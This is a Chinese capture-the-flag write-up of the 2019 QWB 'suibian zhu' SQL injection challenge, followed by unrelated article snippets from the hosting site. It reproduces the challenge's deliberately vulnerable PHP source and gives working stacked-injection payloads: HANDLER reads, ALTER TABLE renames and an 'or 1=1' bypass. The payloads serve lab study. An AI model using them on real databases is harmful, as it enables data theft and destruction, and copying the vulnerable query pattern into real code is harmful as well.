随便注【强网杯2019】

大佬的完整wp:buuctf-web-[强网杯 2019]随便注-wp_取材于某次真实环境渗透,只说一句话:开发和安全缺一不可-CSDN博客

知识点:

  • 单引号字符型绕过
  • 堆叠注入
    • 可以执行多条语句
    • multi_query():该函数可能引发堆叠注入
  • handler用法
    • mysql专属,可替代select部分功能
    • handler 表名 open;handler 表名 read next;handler 表名 close;
    • 和文件操作类似,先打开一个表,读取表内容(一条记录),关闭表
    • # 打开一个表名为 tbl_name 的表的句柄
      HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
      HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
      # FIRST: 获取第一行(索引最小的一行)
      # NEXT: 获取下一行
      # PREV: 获取上一行
      # LAST: 获取最后一行(索引最大的一行)
      HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
      # READ FIRST: 获取句柄的第一行
      # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
      # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
      HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
      HANDLER tbl_name CLOSE
      
  • strstr函数对大小写不敏感;可以利用大小写绕过
  • 数据库相关知识
    • show databases;
    • show tables;
    • show tables from 数据库名;
    • show columns from 表名;
    • desc 表名;
  • 这道题中的表名必须用 反引号进行包裹;如`words` `123456`;要不然不识别
  • 解题方法
    • 方法1:handler代替select绕过
      • 使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了
        • payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23
    • 方法2:表名操作绕过
      • 通过修改表名和字段名进行绕过
        • 先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据
          • ​​​​​​​​​payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23
          • payload:inject=1'+or+1=1%23
    • 方法3:预编译绕过(这种方法没做
      • 直接定义一条语句给变量,然后执行该变量
      • strstr函数不能区分大小写,利用大小写绕过set prepare等关键字检测
      • 流程
        • set用于设置变量名和值
          prepare用于预备一个语句,并赋予名称,以后可以引用该语句
          execute执行语句
          deallocate prepare用来释放掉预处理的语句
          

源码如下:(本题无提示,源码自己找的)

<html><head><meta charset="UTF-8"><title>easy_sql</title>
</head><body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form><pre>
<?php
function waf1($inject) {preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {$id = $_GET['inject'];waf1($id);waf2($id);$mysqli = new mysqli("127.0.0.1","root","root","supersqli");//多条sql语句$sql = "select * from `words` where id = '$id';";$res = $mysqli->multi_query($sql);if ($res){//使用multi_query()执行一条或多条sql语句do{if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果while ($row = $rs->fetch_row()){var_dump($row);echo "<br>";}$rs->Close(); //关闭结果集if ($mysqli->more_results()){  //判断是否还有更多结果集echo "<hr>";}}}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值} else {echo "error ".$mysqli->errno." : ".$mysqli->error;}$mysqli->close();  //关闭数据库连接
}
?>
</pre></body></html>

通过观察源码发现有两层waf

前戏就不演示了,通过不断的测试发现这里存在堆叠注入,而且还有waf过滤,最关键的是把select和英文句号给过滤了,而且提示内容给出了waf1的信息,到这里我就蒙了,这怎么搞呀,最多能看一下表名和字段名,想使用outfile写入文件发现英文句号被过滤了,彻底把我难住了;看了一下大佬的wp才发现了新大陆,大佬的wp放到开头了

这里是单引号的字符型绕过

通过堆叠执行的前置命令:

  • 开始通过执行下面的命令获取到了关键的表名和字段名,flag就在数字表名中
  • 表名一定要加``符号(反引号);不然不识别;我就是这里被卡死了
  • 1';show+databases;--+
  • 1';show+tables;--+
  • 1';show+columns+from+`1919810931114514`;--+
    • 或者1';desc+`1919810931114514`;--+
  • 1';desc+`words`;--+
  • 1'+order+by+2--+
    • 1'+order+by+3--+

直接上关键节点:

方法1:

handler绕过:

payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23

方法2:

修改表名和字段名绕过

payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23

payload:inject=1'+or+1=1%23

方法3这里就不演示了,每种方法都得重启一遍靶场,可以直接看开头大佬的wp,写的很详细;

我这里主要是记一下sql注入的知识点,一些离奇的绕过方法

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/784358.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux之进程间通信

1.进程间通信的目的 数据传输&#xff1a;一个进程需要将它的数据发送给另一个进程 资源共享&#xff1a;多个进程之间共享同样的资源。 通知事件&#xff1a;一个进程需要向另一个或一组进程发送消息&#xff0c;通知它&#xff08;它们&#xff09;发生了某种事件&#xff…

Rabbit简单模式理解

简单模式 我们以最普通的方式去理解&#xff0c;并没有整合Springboot的那种 这是最简单的模式&#xff0c;一个生产者&#xff0c;一个消费者&#xff0c;一个队列 测试 1、 导包&#xff0c;没整合&#xff0c;不需要编写配置 2、需要生产者消费者 导包 <dependency…

【Spring】通过Spring收集自定义注解标识的方法

文章目录 前言1. 声明注解2. 使用 Spring 的工厂拓展3. 收集策略4. 完整的代码后记 前言 需求&#xff1a; 用key找到对应的方法实现。使用注解的形式增量开发。 MyComponent public class Sample1 {MyMethod(key "key1")public String test2() {return "She…

【SpringCloud】Eureka注册中心

目 录 一.Eureka的结构和作用二.搭建 eureka-server1. 创建 eureka-server 服务2. 引入 eureka 依赖3. 编写启动类4. 编写配置文件5. 启动服务 三.服务注册1. 引入依赖2. 配置文件3. 启动多个user-service实例 四.服务发现1. 引入依赖2. 配置文件3. 服务拉取和负载均衡 总结 假…

Optimizer神经网络中各种优化器介绍

1. SGD 1.1 batch-GD 每次更新使用全部的样本&#xff0c;注意会对所有的样本取均值&#xff0c;这样每次更新的速度慢。计算量大。 1.2 SGD 每次随机取一个样本。这样更新速度更快。SGD算法在于每次只去拟合一个训练样本&#xff0c;这使得在梯度下降过程中不需去用所有训…

阿里云通用算力型u1云服务器配置性能评测及价格参考

阿里云服务器u1是通用算力型云服务器&#xff0c;CPU采用2.5 GHz主频的Intel(R) Xeon(R) Platinum处理器&#xff0c;ECS通用算力型u1云服务器不适用于游戏和高频交易等需要极致性能的应用场景及对业务性能一致性有强诉求的应用场景(比如业务HA场景主备机需要性能一致)&#xf…

C++经典面试题目(十六)

1、什么是类的构造函数&#xff1f;它有什么作用&#xff1f; 类的构造函数是一种特殊的成员函数&#xff0c;用于初始化类的对象。它在对象被创建时自动调用&#xff0c;可以用于执行对象的初始化工作&#xff0c;如分配内存、初始化成员变量等。构造函数的作用在于确保对象在…

002 HTML元素

文章目录 HTML的元素元素的属性 注释快捷键根元素head元素meta元素 body元素h元素p元素img元素src属性alt属性 路径分隔符a元素href属性target属性锚点链接 iframe元素div与span不常用元素HTML全局属性字符实体URL和URISEO字符编码 官方文档:https://www.w3.org/TR/ HTML的元素…

【数据结构】括号匹配问题你学会了吗?来刷刷题检验一下吧!!!

栈在括号问题中的应用 导言一、有效的括号——栈、字符串——简单1.1 题目要求与分析1.2 代码实现 二、 最长有效括号——栈、字符串、动态规划——困难2.1 题目要求与分析2.2 问题解析2.2.1 如何计算有效括号的个数2.2.2 如何记录了连续括号的长度2.2.3 如何寻找最长的子串 2.…

STM32 GPIO输入检测——按键

前言 在嵌入式系统开发中&#xff0c;对GPIO输入进行检测是一项常见且关键的任务。STM32微控制器作为一款功能强大的处理器&#xff0c;具有丰富的GPIO功能&#xff0c;可以轻松实现对外部信号的检测和处理。在本文中&#xff0c;我们将深入探讨如何在STM32微控制器上进行GPIO…

二十四种设计模式与六大设计原则(三):【装饰模式、迭代器模式、组合模式、观察者模式、责任链模式、访问者模式】的定义、举例说明、核心思想、适用场景和优缺点

接上次博客&#xff1a;二十四种设计模式与六大设计原则&#xff08;二&#xff09;&#xff1a;【门面模式、适配器模式、模板方法模式、建造者模式、桥梁模式、命令模式】的定义、举例说明、核心思想、适用场景和优缺点-CSDN博客 目录 装饰模式【Decorator Pattern】 定义…

linux redis 快速安装

选择合适的版本 以下是在Linux系统上安装Redis的步骤&#xff1a; 1、下载Redis&#xff1a; wget http://download.redis.io/releases/redis-7.2.0.tar.gz 2、解压缩Redis&#xff1a; tar xzf redis-7.2.0.tar.gz 3、编译Redis&#xff1a; cd redis-7.2.0 make 4、…

C语言——内存函数

前言&#xff1a; C语言中除了字符串函数和字符函数外&#xff0c;还有一些函数可以直接对内存进行操作&#xff0c;这些函数被称为内存函数&#xff0c;这些函数与字符串函数都属于<string.h>这个头文件中。 一.memcpy&#xff08;&#xff09;函数 memcpy是C语言中的…

维修贝加莱4PP420.1043-B5触摸屏Power Panel 400工业电脑液晶

深圳捷达工控维修为贝加莱、HMI 显示电源面板 400 4PP420.1043-B5 提供专业电子维修。在 深圳捷达工控维修&#xff0c;我们拥有及时且经济高效地维修 B&R 、HMI Display Power Panel 400 4PP420.1043-B5 的经验。我们为发送给我们工厂维修的贝加莱 HMI 显示面板 400 4PP42…

【智能算法】霜冰优化算法(RIME)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献 1.背景 2023年&#xff0c;H Su等人受到自然界霜冰生长机制启发&#xff0c;提出了霜冰优化算法&#xff08;Rime Optimization Algorithm, RIME&#xff09;。 2.算法原理 2.1算法思想 RIME模拟软霜颗粒…

css去除滑动框

css去除滑动框 要在CSS中去除滑动条&#xff0c;可以使用overflow属性。如果你想要在特定的元素上去除滑动条&#xff0c;可以将该元素的overflow属性设置为hidden&#xff0c;这样内容如果超出了元素的尺寸&#xff0c;就不会显示滑动条。 例如&#xff0c;如果你想要在一个…

【Laravel】06 数据库迁移工具migration

【Laravel】06 数据库迁移工具migration 1.migration文件目录2. 举例 1.migration文件目录 2. 举例 (base) ➜ example-app php artisan migrate Migration table created successfully. Migrating: 2014_10_12_000000_create_users_table Migrated: 2014_10_12_000000_crea…

QT(6.5) cmake构建C++编程,c++与python进行通信(命名管道)

QT(6.5) cmake构建C编程&#xff0c;c与python进行通信&#xff08;命名管道&#xff09; 首先&#xff0c;c端编写命名管导通信代码 #include <QDebug> #include <windows.h>bool fifp_cpp(){// 创建命名管道&#xff08;用于读写&#xff09;HANDLE hPipe;hPip…

HTTP/1.1、HTTP/2、HTTP/3 演变(计算机网络)

HTTP/1.1 相比 HTTP/1.0 提高了什么性能&#xff1f; HTTP/1.1 相比 HTTP/1.0 性能上的改进&#xff1a; 使用长连接改善了短连接造成的性能开销。支持管道网络传输&#xff0c;只要第一个请求发出去了&#xff0c;不必等其回来&#xff0c;就可以发第二个请求出去&#xff0c…

0基础学习Mybatis系列数据库操作框架——最小Demo

大纲 数据库Mybatis目录结构配置代码 代码/配置结构配置结构依赖库配置SQL配置Mybatis配置数据库配置SQL映射配置 完整配置 代码结构映射类Mybatis逻辑从 XML 中构建 SqlSessionFactory从 SqlSessionFactory 中获取 SqlSession通过mapper中的namespace和id执行SQL 完整逻辑和代…